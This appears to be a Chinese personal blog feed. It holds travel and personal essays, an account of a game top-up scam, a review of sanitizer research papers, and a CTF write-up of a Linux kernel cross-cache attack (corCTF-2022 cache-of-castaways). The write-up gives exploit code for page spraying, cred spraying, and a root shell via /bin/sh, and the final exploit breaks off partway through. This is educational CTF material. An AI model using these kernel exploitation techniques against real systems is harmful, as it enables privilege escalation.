从今天的角度来看,我就应该直接买最新款的,虽然没打折,但是款型是我喜欢的,而且全年都能穿,只能说还是对打折执念太深 —— 甚至这条还有一点短,站着还好,坐着就在脚踝上面了,g

好了,买完北面算是斩除心魔。也是准备前往 shibuya sky 了,今天下雨,估计是去不了户外,但是钱都花了。一摸,ic 卡没了,早上刚充 2000 日元,还好中午吃麦当劳刷了 1000。

我寻思着丢代官山了,又跑回去,发现还是没有 —— 想起下午还看到了胆大党的一个展览(有原画和周边,我完全没见过的周边,非常好看,但是都卖完了,只剩男二了),也只能怀疑被高速婆婆偷走了。

离 shibuya sky 还有一点时间,我去涩谷十字路口转了转。我对它的印象只有生化危机电影第四部开头樱花妹丧尸爽吃社畜的镜头,去看了一下确实人多,但也没啥额外的想法。

进 shibuya sky 了,评价是光污染,搞一些数据流装样子。这天正好下雨,可见度低的要死,又不让去户外,所以 shibuya sky 观感算是极差了。室内也啥都看不见,说能看见东京湾,我就只能看见对面的第一栋房子。

怀着一点点遗憾,竟然也是结束了我在日本的最后一天。

12、Day11 - 东京 / 北京

坐 JR,进机场,买特产,吃机场饭,上飞机,回北京,忆东国 :(

0x99、规划

我必定在明年内再去一次日本。

SickHome

2024年12月15日 08:00

“Nothing really changes”,我蹑手蹑脚地搬开酒店的房门,向着漆黑的安全通道挪去,直到视线完全黑暗,我才发觉我不知什么时候停下了呼吸。我大口喘着粗气,浑然不觉星空早就铺满了整条楼梯,钻入了我的鼻腔。

值此 22 岁之冬,我回顾之前写过的一些随笔,“在叛逆期的我根本不喜欢逛古镇,九寨沟瀑布有什么好看的?乐山大佛不就是一尊佛像?我尽我所能的不去拍照,不去创造这些能够留作所谓“回忆”的印记。但当我开始发觉这些自然景观的瑰丽奇美的时候,我却找不到机会再和家人出去旅游了”。不知从什么时候开始,我的相册里慢慢出现了我的自拍,慢慢出现了一些合照,甚至你可以在群聊和朋友圈里看到我发布这些照片。

我似乎有些得意忘形了,我偷偷买了看完 major 回家的机票,又在我姐邀请我和奶奶她们一起旅游的时候欣然同意,我想 22 岁的我,在 2023 年经历了所谓 “蜕变” 的我,能够轻松地面对这个曾经棘手的问题。

窒息感。我喜欢坐在飞机靠窗的位置,今天的昆明晴空万里,我一眼便能望到那片土地。阔别接近一年之久,归乡的欣喜之情马上要从我的身上满溢,但厌恶感却在我看到那片土地的第一眼就包裹住了整架飞机,从座椅上方的空调出口,从窗上的孔洞,从飞机出口到货仓,无孔不入地渗入我的身体。它们混沌了客机的压力,让我的大脑有些神志不清,在这个本应满溢归乡之喜的场合不合时宜地出现这么一个想法:“我为什么又回来了?”

我突然有些后悔这些决定,后悔我原本想要给家里人一个惊喜,所以悄悄买了回家的机票;后悔欣然接受和我大伯、姐姐他们一起和奶奶去西双版纳旅游。“或许我可以在春节前再回去,又或许我直接以 ‘科研繁忙’ 为由就不回去了,这样还能省钱”。

但来不及了,我因为我的得意忘形付出了代价,我乘上了前往西双版纳的高铁。

在那片土地上遇到的所有人似乎都对我秉持着恶意,又或是我向他们表示了恶意。高铁上,我本就为大包小包的行李无处安放而烦躁,却又有一个人占住了我的位置,我先入为主地认为他是蹭座的,愤怒的上前声讨,却最终发现我当时软件内改签到了一个更好的位置,而我因为没有更新行程而忽略了这一点。高铁开始向西双版纳出发,只有我孤身一人,拖着行李箱和背包,缓慢的走向与行进方向恰恰相反的车厢。我想走快一些,却很快意识到我怎么也逃不出那辆高铁,我已然被那片土地禁锢了。

恍然之间,我发现我已经在和一起出游的亲戚开始吃饭了,他们聊着这几天的行程,我附和着,直到吃完饭走在回酒店的路上,我才突然清醒过来。一股心悸感又让我清醒了过来,我舔了舔,却没法描述它 ---- 它尝起来百般滋味,但可惜我只品出一种不归属感。思绪仍然在游走,我突然惊觉我早已有过多次这种心悸的体验,而它们恰恰出现在我以前和家人一起出游的过程中,出现在情绪低落的我一个人走在路上的时候。

在那些时候,我总有办法疏通这个心悸,我或许独自走在河边,戴着耳机喝着啤酒。又或者一个人开个摄像头,向屏幕对面的自己聊着最近发生的事。但这次,在那片土地上,我没有这么做的权利。

于是我写下了这篇文章,回神四望,才发现来时的星光也不屑与我为伍,它找来一片乌云,把我的影子包裹起来,连同我一同拽进漆黑之中。

站起身,因为自己的得意忘形,我朝着明亮的走廊走去。他轻巧地拨开房门,成为这片土地喜欢的另一个人。

简单记录一次电诈追损

2024年12月14日 08:00

感觉买虚拟商品被骗不是一次两次了,以前还被骗过雷击骗过杀猪刀啥的…

最近雀魂联动了偶像大师,于是久违的想要找代充氪个円香出来。以前冲的那几家都润了,于是就想着寻一家新的。

12/1

我对于代充流程算是比较清晰的,所以基本上计算着七折往上都是比较稳妥的,但是简单搜索一下某鱼,发现基本都是 88 折 ~ 95 折,这感觉就纯亏了。但由于 cs 机制改了各种,我实在不想浪费几天时间自己倒货,还是寄希望找一个比较低比例的店买。这个时候,突然看到了一个 63 折的,虽然一眼假,但看评价几百条,几乎没有差评,再加上其它卖家都没回而他秒回,我也就充了,充了大概在 150$ 左右,也不算是很多,也算是有风险预期了。

12/5

隔了几天,雀魂号就封了,查询雀魂客服之后发现是被退款了,一看卖家评论基本上那几天的都被封了,于是找雀魂那边开始补款,再加上开始找咸鱼处理,同时也在评论区找到其他几个被退款的拉了个群报警。

然后就开始经典踢皮球吧,我没有第一时间报警,因为我没有任何官方来源的卖家信息。咸鱼客服方面,首先第一天让我进行举报,然后对订单进行投诉。我从 18:00-19:30 都在处理这个举报,期间得益于咸鱼逆天的 3 分钟保活机制,以及客服讲话信息熵和效率之低下,几乎每一个信息我都重复了三次以上。

最终,客服终于是帮我举报上传了,同时我也开始对订单进行投诉追损。

12/6~12/7

追损需要提供非常多的信息,我把各种证据详尽的解释都摆出去了,结果四笔订单分别在第二第三天都要补充资料。

这个补充资料需要让你在非主流用户视频平台(优酷、腾讯、爱奇艺)上传视频,视频中需要再次把我提交的那些证据展示一遍。于是又花了半个下午录制视频,并且尝试在上述三个平台找到用户上传按钮,最终也是勉强提交了。

12/8~12/9

第五天开始,四笔订单陆陆续续开始通知卖家退款。然而第一天仅平台通知,第二天到第四天则是电话通知,除此之外没有任何额外的措施。

12/11~12/12

卖家似乎对前几个申请的订单进行了退款,但是我的号封号时间比较靠后,再加上处理流程增加了二审流程,所以到我这,他和我商量 “没钱了,一半一半”,我自然拒绝。到这个时候,他显然发现了 “即使不退款也没什么影响” 这个事实,因为咸鱼就每天给他打个电话,既不通知警察,也不通知相关联系人,唯一的处罚大概就是 “信用分-2”,甚至连账号都不封禁 ---- 因为他还没有赔偿所有赔款。

在这之后,卖家轻松对我发起了言语攻击,然后再也没上过线,我此时对于还款已经几乎不抱希望了。

群里的几个老哥报警也几乎没啥进展,大额的卖家还了,小额的不受理,要不就是要在案发地/要在卖家地报警等等踢皮球,联合举报感觉也凑不到立案金额。

12/13

但是无论如何我还是又在咸鱼申请了信息披露,一如既往地提交一堆资料,然后开始审核。

与此同时,我也开始报警,此时距离封号也过去了一个星期了,说实话我是真没啥耐心了,这事又多,时间成本根本不划算。 报警处理的还算迅速,虽然派出所接线的老北京儿语气非常的冲,但是说的确实也在理:“您别跟我搁这给咸鱼找补,给骗子找补,您就说您被骗了是不是这么个事实就完了,咸鱼客服就屁用没有”。

但派出所这边效率真不是很高,我中午一点多排了第三位,但是一直到下午四点半才开始处理(午饭也没吃,点了外卖完全冷了),其间几个民警都在那聊,说北邮这学生,被骗了 648 元(是的,非常巧合地一个数字),边说边笑,也是令人汗颜。

说实话等的我几次想直接走了。我觉得我浪费的时间和金钱以及效果真不如我开个户籍买个花圈送过去来得好。这整件事在处理前我就依靠刻板印象了处理效率和处理流程会非常低效,但还是感兴趣整个流程会有多冗长,到底这样证据确凿,甚至嫌疑人身份清晰的电诈会不会被处理(甚至还是在年末这个时间点)

COPs 首先询问了大概经过,然后看到我信息披露的内容之后就拍了个照进小黑屋操作了。这个电话我自己打是打不通的,但是大概十五分钟之后 COPs 让我进去和他对线,我猜测应该是简单查了一手最新的手机号。但是该说不说这人也是怂,态度立马变了说:“行行行应该是没注意到退款申请”,光速给我退了。

不过来都来了,所以我还是坚持走一遍笔录流程,并且尝试立案行政违法案件,如果后面其他几个老哥要报警追损的话也能派上用场。

笔录过程比较简单,但其实基本也就是重复一开始的几个问题,只不过更加细节,需要订单号和个人信息之类的。填完之后就需要签字,每一页笔录都要签字,然后还要写一段话证明属实之类的,紧接着还需要填回执之类的,又等待了额外的大约三十分钟。

后记

其实有点后悔去做笔录了,希望不会通知到学校,不然就要上学校的光荣榜了,想到有一天可能出现 “北*邮电大学 网络空间安全专业 大四学生 赵X 在咸鱼充值时遭受电信诈骗,损失 648 元”,就有一种会被打上蠢逼手游狗的寒意。

另一方面,虽然不说是吃一堑长一智吧,毕竟买的时候就有风险预期了,但是希望群友们还是引以为戒,贪那一两百块的优惠可能要付出数倍的金钱和精力处理,真别搞,怕了。

【NoPaper】A brief talk about SANITIZER

2024年12月6日 08:00

在此之前

前几天和学弟 @奇怪的轩轩 聊天的时候,聊到了 “没有自己原创性的内容” 的问题。仔细想想,我好像也没有啥原创性的产出(指技术相关,小作文还是写的挺多而)。绝大多数的内容都是借鉴与转述,含金量不高,不可替代性不高。

恰巧最近本科毕设开题,虽然本科毕设比较水,但考虑到之后各种相关的事情,所以还是决定认真对待。

于是,有了本系列文章。 NoPaper 系列大概会类似于文献综述一般,将某一个领域从经典到 SOTA 的文章进行分享 / 翻译 / 总结,具体我也不知道能做成啥样,至少要比得上 G.O.S.S.I.P 这类日更 / 周更吧

总之, 第一篇选择从 Sanitizer 开始。毕竟要作为我毕设的第一章

SoK: Sanitizing for Security

综述

Address Sanitizer

Address Sanitizer, 简称 ASan

论文链接:AddressSanitizer: A Fast Address Sanity Checker | USENIX

一作:Konstantin Serebryany,大佬一开始在 Google 做动态程序分析,然后 09 年搞了个 ThreadSanitizer,算是 Sanitizer 的开山鼻祖。值得一提的大佬之前还在 Intel 干,主要就是做编译器那边的活。今年(2024)大佬跑特斯拉去了。

Wiki: AddressSanitizer · google/sanitizers Wiki

这篇应该算是让 Sanitizer 正式进入大众视野的一篇,也是目前应用最广泛的一种 Sanitizer。

A Binary-level Thread Sanitizer or Why Sanitizing on the Binary Level is Hard

论文链接:A Binary-level Thread Sanitizer or Why Sanitizing on the Binary Level is Hard | USENIX,USENIX’ 24

一作:Joschua Schilling - IT Security Infrastructures Lab(应该是),我看到他现在也在做 Static Binary Memory Sanitizer,这篇是 Thread Sanitizer,之前好像还做了 Binary UBSan,感觉是想要往这方面把 sanitizer 都做一遍。

近年来少有的 Binary Level 的 Sanitizer。

这里给出一些已有的 Binary Level Sanitizer-like 的实现,没读过,但是 Valgrind 听过很多次,挖个坑。

Derek Bruening and Qin Zhao. Practical memory checking with dr. memory. In IEEE/ACM International Symposium on Code Generation and Optimization (CGO), pages 213–223. IEEE, 2011.

Valgrind Developers. Helgrind: A Thread Error Detector. https://valgrind.org/docs/manual/hgmanual.html, 2007.

Julian Seward and Nicholas Nethercote. Using valgrind to detect undefined value errors with bit-precision. In USENIX Annual Technical Conference (ATC), 2005.

Nicholas Nethercote and Julian Seward. Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation. ACM SIGPLAN Notices, 42(6)

–100, 2007.

Contribution

这篇文章主要的贡献有两点

  • 在 binary level 对现有的一些 sanitization 方案做了分析(移植的挑战、障碍)
  • 实现了 BINTSAN (Binary Thread Sanitizer),进行了设计实现和评估,用于分析 race condition 的情况。
    • 在实现过程中,引入了一些启发式操作识别原子操作,最小化性能影响

Challenges

对于已有的大部分 Sanitizer,例如 ASan 等,都是在 IR/Source 层面插桩,直接将 runtime checks 嵌入到最终的二进制文件里。然而,一个现实挑战就是市面上很多软件(闭源驱动、商业软件)等是没有源码的,因此我们没有办法利用 ASan 之类的 Sanitizer 对这类二进制程序进行运行时漏洞发现。当然,其实这句话并不完全正确,因为存在有 Retrowrite 这种二进制重写方案能对二进制进行插桩,从而实现 ASan 的部分功能。

Sushant Dinesh, Nathan Burow, Dongyan Xu, and Mathias Payer. Retrowrite: Statically Instrumenting COTS Binaries for Fuzzing and Sanitization. In IEEE Symposium on Security and Privacy (S&P), 2020.

另一个难点就是缺失了源代码和 IR 信息,Binary Sanitizer 不能做到和 SourceCode Sanitizer 一样利用很多插桩时候就嵌入的信息进行推断(例如,变量类型)。(这也是 Retrowrite 插桩 ASan 无法解决的问题)

第三个难点就是开销,ASan 的开销在 ~2x 左右,而一般 Binary Sanitizer 可能会到 5x 甚至更高记得看过这么一个说法,没找到原文,未查证应该是 Valgrind 原文或者 SoK

for security 里)。当然,在 fuzz 领域,也存在一些 binary level 的 instrumentation optimization(例如 Breaking Through Binaries: Compiler-quality Instrumentation for Better Binary-only Fuzzing | USENIX’ 21),感觉也可以借鉴

一般来说,Binary Sanitizer 都利用的是动态插桩技术(Dynamic Binary Translation, DBT),因此性能特别差

简单来说,DBT 就是在 Assembly -> Machine Code 的 Translation 过程中,动态的添加指令实现插桩。因此可想而知效率并不会很高。

Challenges for Binary Sanitizers

信息丢失

在 Compilation 过程中,很多源代码的信息会丢失 —— 控制流信息,类型信息,内存顺序,符号 (主要指的是变量类型的 signed / unsigned),以及调试信息等等。这种信息丢失是由于源代码和目标架构之间的 “概念性差异” (conceptual differences) 引起的,因此对于不同的架构 / 编译器 / 编译器选项,都可能存在不同的对应关系。

例如 Undefined Behavior,这种概念就是 C/C++ 的高阶语言产生的一个概念,用于指导编译器优化。自然,经过编译器编译之后,这种概念在二进制层面就不存在了,因为编译器已经利用了这个信息,并生成了具体的指令。

程序表示形式的概念性差异

这其实就是在编译的不同阶段,(主要)由于编译器不同而导致的差异问题。具体来说,就是源代码、IR 和汇编代码三个层面,有不同的属性,这些属性可能会简化 / 阻碍静态分析。

  • 寄存器:IR 层面支持无限多个数的寄存器,而物理寄存器是有限的。
  • SSA:IR 层面使用 SSA(Static Single-Assignment,确保每个寄存器只会被赋值一次),而汇编不能提供这一属性。这实际就是二进制分析的根本影响,因为我们需要考虑寄存器状态。
  • 指令集:对于 RISC 和 CISC 也有区别。因为 IR 其实一般用的是 RISC,而 x86-64 支持各种变体和助记符。这就要求 binary sanitizer 其实要支持每一种指令,所以说的话如果做 binary sanitizer,一般就会把二进制提升到 IR 层面用于化简,但这样自然也会带来不准确性。

Success Criteria

谈到了如上的 Challenge,那么也就能够针对 binary sanitizer 的成功性提出几个方面的点:

  1. Correctness
  2. Effective Error Detection
  3. Performance,具体可以看 Breaking through Binaries: Compiler-quality Instrumentation for better Binaryonly Fuzzing. In USENIX Security Symposium, 2021.
  4. Compatibility
  5. Scalability,这里的可拓展性主要表现在能够适用于尽可能多类型的二进制文件,例如混淆过的,文件体积特别大的,或者说有调试符号的以及没有调试符号的。

Feasibility of porting sanitizers to the binary level

在这里,作者分析了当前最流行的四种 Sanitizer(ASan、UBSan、MSan、TSan)移植到二进制层面的可行性。

对于 ASan 来说,因为他的插桩比较轻量,而且基本上逻辑都是由 ASan 的 runtime-library 实现,所以其实能够较好的应用二进制目标。但是由于信息丢失,它的 effectiveness 会差一点。RETROWRITE 已经实现了这一部分功能,但是他没法对全局变量或者单独的栈对象进行 sanitization,并且由于 RETROWRITE 自己的限制,它也只能用于非 PIC 且没有 C++ 异常处理的程序。然而即使比较轻量,RETROWRITE 还是会带来接近 50~70% 的性能开销。

对于 UBSan 来说,因为它使用多个小的且独立的 checks,且都是独立实现,所以和其他的 Sanitizer 都不同。对于 binary level UBSan 来说,问题就在于未定义行为在二进制层面上是不存在的,你必须要重建原始意图,然后去断定源代码中的行为是不是未定义的。当然,UBSan 检查非常多(28 项),所以其实有一些是能够在二进制层面做的(10 项),但基本就是一些整数溢出的检查。其他的则需要一些源代码的知识,例如说对齐(Alignment),间接调用的函数签名(Function Signatures of Indirect Calls),以及编译器 builtins 的调用等等,这些做起来就非常复杂,并且容易出错了。

具体哪些能做可以看论文的 Table7

对于 MSan 来说,其实和 ASan 类似,它也用了一个 runtime-library 来实现。然而不同的是,由于它需要在程序执行过程中正确追踪那些未初始化的内存,它的插桩会更重一些。具体来说,它把内存状态存在 shadow memory 里,在内存访问和修改的时候就会更新这个内存状态,这在二进制层面就很复杂了,因为寄存器的内容也会影响这个初始状态(寄存器保存了一个没有初始化的内存,然后再把寄存器的内容,即这个未初始化内存的指针保存在另一个没有初始化内存的位置)。这就要求 shadow propagation 需要考虑寄存器和寄存器内容,就需要引入 shadow register 的概念,这在原本的 MSan 中是没有的,这样就会破坏前面提到的 “Compatibility” 的 Criteria。更重要的是,之前提到了 RISC 和 CISC 的内容,如果引入 shadow register,就要求对于所有和寄存器有关的指令都被插桩,这个性能开销就有点大了。

心的御宅訪問

2024年11月10日 08:00

我向来喜欢折腾博客,因为它让我能够充实地虚度光阴,今天我把我的文字输出的博文转移到了 Blog 下,这样就不用再纠结 rss 的事情了。为了和一些技术类文章区分,我给它取名叫 “御宅訪問” —— 一方面,公开那些文章就像是邀请别人来家里做客一般,能让人知晓你的价值观,观察你的生活;另一方面,作为一个 Otaku,我相信我博客受众很大一部分也是 Otaku,也算是玩了一个双关梗(笑。

相比于 君の名は。 的 OST,天気の子 的 OST 并没有那么让我那么惊艳,因此我仅红心了包括 “花火大会” 的寥寥数首。 我对这首曲子实在是没有印象,它是在哪出现的,它的曲调又如何变化,我都想不起来 —— 我对这部电影甚至都没有多少印象了,日月窗间过马,它在国内上映居然已经是五年前的事情了。倒是五年前在语文课上分享 “Grand Escape”,用 MP3 听 “花火大会” 的无忧无虑扑面而来,让我有些怀念。

这又是一篇无病呻吟的文章。人总该在低气压的时候有些宣泄的地方,这些宣泄在外人和未来的自己看来显然是无病呻吟,但好巧不巧,我只有博客这么一个可以用以宣泄的树洞。

地铁门伴随着刺耳的滴滴声打开,钢琴轻快的音符从站台上传来,愉悦的笛声把我从沉闷的车厢里拽出,阴湿的一天倒是被这种喧嚣引走了注意力,随着我的脚步流向了这些旋律。不合时宜的,一段轻佻的钢琴正好在我出站瞬间响起,这倒是与我内心的低落相得益彰了,除了一瞬间惊讶于它的专辑外,也稍微把我从 “越想越糟糕” 的漩涡中拉出。

对于我自己的低落情绪,我倒是有不少头绪。兴起翻阅自己以前的代码,却发现两三年来代码水平似乎毫无进步(甚至有了 Cursor / GPT / Copilot 后可以说退步了);自己花几天才将将理解的东西,别人随便看看就理解了,还给出了更优雅的解决方法;又或者对比起别人,自己对所谓 “感兴趣” 的领域却根本谈不上有自驱力等等。再加上舍友考研早睡摧毁了我的作息这种催化剂,陷入如此境地倒是也不奇怪了 —— 我甚至有些对说话都提不起兴趣,估摸着也是有点轻度抑郁了。还好,至少没有完全散失表达欲。

其实已经读过 和菜头 两天前的 不太聪明的人,对这种情绪早有准备,但这恰巧是更令人烦闷的:你知道什么原因,但你仍然陷入这种情绪当中无法自拔,我恰巧在脑中预演时想到一个词 “Awake Drunk”。不知廉耻地说,从小我都是比较 “瞩目” 的,无论是褒义的引人注目或者是贬义的引人注目,总是瞩目的。我总可以在同学的目光中有恃无恐地 “违抗规则”:带手机,不写作业,装病 啥都干过,还都是经常干。然而这总是基于一个前提:我把我应该做的早早做完了,而且完成得很好,而那些限制是拿来限制一般人的,因此我不想要遵守。然而这个前提,在上大学之后,尤其是随着时间推移变得越来越难达成了 —— 从复数次的自省来看,我显然在快速地失去 “不畏惧困难” 这一特征,而且我对它似乎毫无办法。再加上层次不断向上,周围的人越来越优秀,这种 “不合群” 也慢慢成为愚蠢。

而我对它似乎毫无办法。

制定计划显然不是一个难事:我说我应该在这个月跟完这门课,为此我想要每天做一个小时的东西;我说我应该要学习这门编程语言,因此我想要用它实现一个什么项目;我说我应该早起;我说我应该每日记录生活。

而我似乎很久没有按照计划完成过一件事了,因为我逐渐发现这些我自己制定的计划,即使不完成,也不会有任何惩罚。因为我至今仍认为我是喜欢做这些事情的,但却根本没有什么自驱力去做 —— 当我面临多个抉择,我宁可就那么什么也不做。或许我的大脑已经失去做困难之事的能力了。

我大概应该去读完《思考:快与慢》,去看看怎么修复我的系统二。

本打算写一些升华积极向上的结尾,但想到题目,便决定言尽于此。

【KPWN】Cross-Cache Attack

2024年11月6日 08:00

一直没有看 cross cache,今天来看看

页级堆风水 (Page-level heap fengshui)

我们知道,linux 内核中 slub 的布局是非常难以揣摩的,每个 slub 前后是哪个 slub,或者说下一个分配到的 slub 在哪,由于内核中存在非常多的 alloc / free,我们几乎无法去预测 slub 布局。然而,通过页风水的方式,我们可以人为地制造成功率较高的可控布局。

用 Buddy System 分配页的时候,我们有一个 order 的说法。每个 order 里保存了以 $$2^{order}$$ 个页面为一组的双向链表,而显然这些在初始化的时候是物理连续的。对于 n-order 的 free-area,如果它为空,就会从 n+1-order 的 free-area 中拆出一半用于返回给 allocator,剩下一半放入 n-order 中。

而在页面释放时,它们同样会被放入对应的 free-area 上(FIFO)。此时,如果存在物理连续的 n-order buddies,也会被合并,再放入到 n+1-order 的 free-area 上。

具体可以参考 a3 的 https://arttnba3.cn/2022/06/30/OS-0X03-LINUX-KERNEL-MEMORY-5.11-PART-II

那么我们不难想到这样一件事,以 order-0 举例,假如 order-0 为空,下次 allocator 需要 1 页的时候,就会从 order-1 中拿取一组界面,也就是 $$2^1=2$$ 页回来,一个返回给 allocator,一个用于补充 free_area[0],这两个页显然是物理连续的。

那么如果是 vuln slub 拿到了第一个界面,紧接着 victim slub 拿到了第二个页,那么我们自然就造出了可控的页布局,也就是完成了所谓的页风水。

因此,在 real CVE 中,一般页风水被用在非 order-0 的攻击原语中。

Cross Cache

Cross Cache,在我们完成页风水后,显然容易理解了 —— 就是通过溢出 vuln obj 这个 kmem_cache 来影响 victim slub 中的 victim obj 的攻击手法。

非常推荐阅读笑尘的 CVE-2022-27666: Exploit esp6 modules in Linux kernel - ETenal,他用(尽管不是那么)精美(但是)浅显易懂的 PPT 做了动画,解释了整个 Cross Cache 的过程。

理想情况

在没有任何噪声的情况下,我们可以设想如下攻击模型

for x in range(0x200):
    alloc_page()  # 用尽 low-order pages
for x in range(1, 0x200, 2):
    free_page(x)  # 释放奇数页,确保不会形成 buddies 从而合并到 high-order
spray_victim_obj()  # 堆喷 victim obj
for x in range(0, 0x200, 2):
    free_page(x)  # 释放偶数页,同上
spray_vulnerable_obj()  # 堆喷 vuln obj
overflow_vulnerable_obj()  # 堆溢出,自然会有位于 `vuln slub` 末尾的 obj 溢出到位于 `victim slub` 头的 obj

然而,假设有噪声,i.e. 内核自己的结构体拿了我们刚释放的页,或是又多了新的页放入到 low-order area 中,亦或是因为 slub alias 导致 victim slub 头不再是 victim obj。我们的攻击就有可能失败。

corCTF-2022 cache-of-castaways

这大概是少有的 cross cache 的 CTF 题目。对于实战,你可以参阅 CVE-2022-29582 - Computer security and related topics CVE-2022-27666: Exploit esp6 modules in Linux kernel - ETenal 或是 Project Zero: Exploiting the Linux kernel via packet sockets

题目附件可以在这里下载:corCTF-2022-public-challenge-archive/pwn/cache-of-castaways at master · Crusaders-of-Rust/corCTF-2022-public-challenge-archive

题目本身非常简单,提供了 add 和 edit 的功能,存在 6bytes 的溢出。其中,这个溢出的 cache 是 SLAB_ACCOUNT 标志位的,因此它占用一个独立的 slub。

image-20241106160439301

而溢出 6bytes,显然也支持我们将 cred 的 UID 写为 0。恰巧 cred_jar 显然也在 ACCOUNT 的独立 slub 里,因此我们其实能够排除一部分噪声。

那么接下来,我们就顺着理想情况一步一步来分析即可。首先是 alloc_page,在 CVE-2017-7308 中 project zero 提出了一个非常优雅的页喷射原语:setsockopt()

Project Zero: Exploiting the Linux kernel via packet sockets

在设置完成后,它会调用 alloc_pg_vec(),在这个函数里,它会分配 tp_block_nr2^order 个页面(其中 order 是由 tp_block_size 决定的),而在关闭 fd 后,这些页面也会被释放。只不过低权限用户在 root namespaces 下没有办法调用这个函数,必须要换一个命名空间,此时,我们可以使用 pipe 进行通信。

#include "kernel.h"

#define INITIAL_PAGE_SPRAY 1000
#define CRED_JAR_SPARY 512
#define SIZE 0x1000
#define PAGENUM 1

int sprayfd_child[2], sprayfd_parent[2];
int socketfds[INITIAL_PAGE_SPRAY];

enum spraypage_cmd {
    ALLOC,
    FREE,
    QUIT
};

struct ipc_req_t {
    enum spraypage_cmd cmd;
    int idx;
};

void spraypage_send(enum spraypage_cmd cmd, int idx) {
    struct ipc_req_t req;
    req.cmd = cmd;
    req.idx = idx;
    write(sprayfd_child[1], &req, sizeof(req));
    read(sprayfd_parent[0], &req, sizeof(req));  // just for synchornization
}

void spray_pages() {
    struct ipc_req_t req;
    do {
        read(sprayfd_child[0], &req, sizeof(req));
        switch (req.cmd) {
            case ALLOC:
                socketfds[req.idx] = alloc_pages_via_sock(SIZE, req.idx);
                break;
            case FREE:
                close(socketfds[req.idx]);
                break;
            case QUIT:
                break;
            default:
                assert(0);
        }
        write(sprayfd_parent[1], &req, sizeof(req));
    }
    while (req.cmd != QUIT);
}

int main() {

    bind_cpu(0);
    int fd = open("/dev/castaway", O_RDWR);
    if (fd < 0) {
        printf("Error opening device\n");
        return 1;
    }

    pipe(sprayfd_child);
    pipe(sprayfd_parent);

    if (!fork()) {
        unshare_setup(getuid(), getgid());
        spray_pages();
    }

    for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
        spraypage_send(ALLOC, i);
    }
}

我们使用 fork 开了一个子进程,然后将子进程放到单独的命名空间里,并且用管道进行通信。

这两个函数定义如下

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

int alloc_pages_via_sock(uint32_t size, uint32_t n)
{
    struct tpacket_req req;
    int32_t socketfd, version;

    socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socketfd < 0)
    {
        perror("bad socket");
        exit(-1);
    }

    version = TPACKET_V1;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
    {
        perror("setsockopt PACKET_VERSION failed");
        exit(-1);
    }

    assert(size % 4096 == 0);

    memset(&req, 0, sizeof(req));

    req.tp_block_size = size;
    req.tp_block_nr = n;
    req.tp_frame_size = 4096;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
    {
        perror("setsockopt PACKET_TX_RING failed");
        exit(-1);
    }

    return socketfd;
}

接下来进行第二步,释放奇数页,然后喷 cred。

但是我们需要注意噪声问题。fork 会引入大量噪声,因此,我们可以只通过 clone 系统调用,从而减少噪声。使用 CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND 作为 FLAG,这样每一次就只会有 4 个 order-0 的分配, 对于后面的操作,我们也尽可能只使用汇编,尽量减少噪声。

在这里,我们将每一个 clone 引到 check_and_wait 函数里,它在 rootfd 接到消息后就检查是不是 root,如果不是就进入睡眠。

#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND

int rootfd[2];
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};

__attribute__((naked)) void check_and_wait()
{
    asm(
        "lea rax, [rootfd];"
        "mov edi, dword ptr [rax];"
        "lea rsi, [throwaway];"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;"
        "mov rax, 102;"
        "syscall;"
        "cmp rax, 0;"
        "jne finish;"
        "mov rdi, 1;"
        "lea rsi, [root];"
        "mov rdx, 5;"
        "mov rax, 1;"
        "syscall;"
        "lea rdi, [binsh];"
        "lea rsi, [args];"
        "xor rdx, rdx;"
        "mov rax, 59;"
        "syscall;"
        "finish:"
        "lea rdi, [timer];"
        "xor rsi, rsi;"
        "mov rax, 35;"
        "syscall;"
        "ret;");
}

int main() {

    bind_cpu(0);
    int fd = open("/dev/castaway", O_RDWR);
    if (fd < 0) {
        printf("Error opening device\n");
        return 1;
    }

    pipe(sprayfd_child);
    pipe(sprayfd_parent);
    pipe(rootfd);

    for (int i = 0; i < CRED_JAR_SPARY; i++) {
        pid_t pid = fork();
        if (!pid) {
            sleep(10000);
        }
        else if (pid < 0) {
            errExit("fork");
        }
    }

    if (!fork()) {
        unshare_setup(getuid(), getgid());
        spray_pages();
    }

    for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
        spraypage_send(ALLOC, i);
    }

    puts("\033[32m[*] Initial pages sprayed\033[0m");
    puts("\033[32m[+] Start to free odd pages\033[0m");

    for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) {
        spraypage_send(FREE, i);
    }

    puts("\033[32m[+] Start to spray creds\033[0m");
    for (int i = 0; i < FORK_SPRAY; i++)
        pid_t pid = __clone(CLONE_FLAGS, &check_and_wait);
}

既然 victim obj 已经喷完了,那么就开始继续释放偶数页面,然后喷 vuln obj 了。喷完之后,我们设置 uid 位为 1,成功拿到了 rootshell

image-20241106201611213

最终 exp:

#include "kernel.h"

#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND

#define INITIAL_PAGE_SPRAY 1000
#define VULN_SPRAY 400
#define CRED_JAR_SPARY 512
#define SIZE 0x1000
#define PAGENUM 1

int fd;
int sprayfd_child[2], sprayfd_parent[2];
